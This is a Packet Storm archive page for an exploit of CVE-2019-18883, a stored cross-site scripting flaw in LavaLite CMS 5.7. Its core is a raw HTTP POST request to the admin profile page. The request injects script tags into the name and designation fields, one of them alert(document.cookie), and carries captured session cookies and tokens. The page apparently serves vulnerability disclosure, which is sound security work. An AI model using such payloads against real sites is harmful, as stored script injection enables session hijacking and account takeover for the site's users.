exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

LavaLite CMS 5.7 Cross Site Scripting

LavaLite CMS 5.7 Cross Site Scripting
Posted Nov 12, 2019
Authored by Ismail Tasdelen

LavaLite CMS version 5.7 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-18883
SHA-256 | 4c3621d3000cbcf29af4bbbba5d7450265f5cfa9560474714778c9d2b6e16f6a

LavaLite CMS 5.7 Cross Site Scripting

Change Mirror Download
# Exploit Title: LavaLite CMS - 5.7  - Cross-Site Scripting
# Date: 09-10-2019
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://lavalite.org/
# Software Link : https://github.com/LavaLite/cms
# Software : LavaLite CMS - v 5.7
# Version : v 5.7
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2019-18883

# The XSS vulnerability has been discovered in the LavaLite CMS web application software due to its vulnerability in the source code in version 5.7.
# XSS exists in Lavalite 5.7 via the admin/profile name and designation field.

# HTTP POST Request :

POST /admin/profile HTTP/1.1
Host: demo.lavalite.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 326
Origin: http://demo.lavalite.org
Connection: close
Referer: http://demo.lavalite.org/admin/profile
Cookie: XSRF-TOKEN=eyJpdiI6Ik9uNGJSNVlPWjdrQjZPOEFnK1lQVVE9PSIsInZhbHVlIjoibCt3Z1ZreWc3a2dlbTRjdzd4bGxEY1wveHdPM1FtUVwvdE9VekZcLytGVHoxVkRWMHp4Nzh6WGxcL1lZVkR1THRxNGc1b0dxb2h5WUpyUHQ0VzBuY0pYK3FnPT0iLCJtYWMiOiI5YjA4ZmVmZjFjYmJlYTk4NGMzN2ZjNWQ2ZTVlNTVhODcwNTk5OWIxMWVjZDUyYzAzN2RiNzc2ZDA2MzU0MzI1In0%3D; laravel_session=eyJpdiI6IjBKb0U5Y1BrbmRnNUNtNGtnRmpQZlE9PSIsInZhbHVlIjoiakhzQVwvakRkV0tjWmtidHNMcGNRQjJHMGRYSkZ3S0x5TW9EUmhmWWtCR0d6UzNaY1k5OHVOMTJVcFFTanBpSmhEeTR1RnNJOVwvZVF6MGN2dVNxSFpXUT09IiwibWFjIjoiNThjZDBiNmJmMDI5OTg0ZTMzYzFmNGEzN2I0MWViNjU5MDU1MjcxNWFlYjMzYzE2MDM2MWE5ZjIxOGM2OTE0ZCJ9; _ga=GA1.2.17118095.1573277553; _gid=GA1.2.2027008389.1573277553
Upgrade-Insecure-Requests: 1

name=Super+User"><script>alert("ismailtasdelen")</script>&dob=15+May+2014&designation=Super+User"><script>alert(document.cookie)</script>&mobile=&phone=&file=&photo%5B0%5D%5Bcaption%5D=&photo%5B0%5D%5Bfile%5D=&photo%5B0%5D%5Bfolder%5D=&photo%5B0%5D%5Bpath%5D=&photo%5B0%5D%5Btime%5D=&address=&street=&city=&district=&state=&country=&web=http%3A%2F%2Flitepie.org&_token=ErmRyuzAgksfnvgmp7ew7xPQlcE7hsmTguPZ3QGS
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close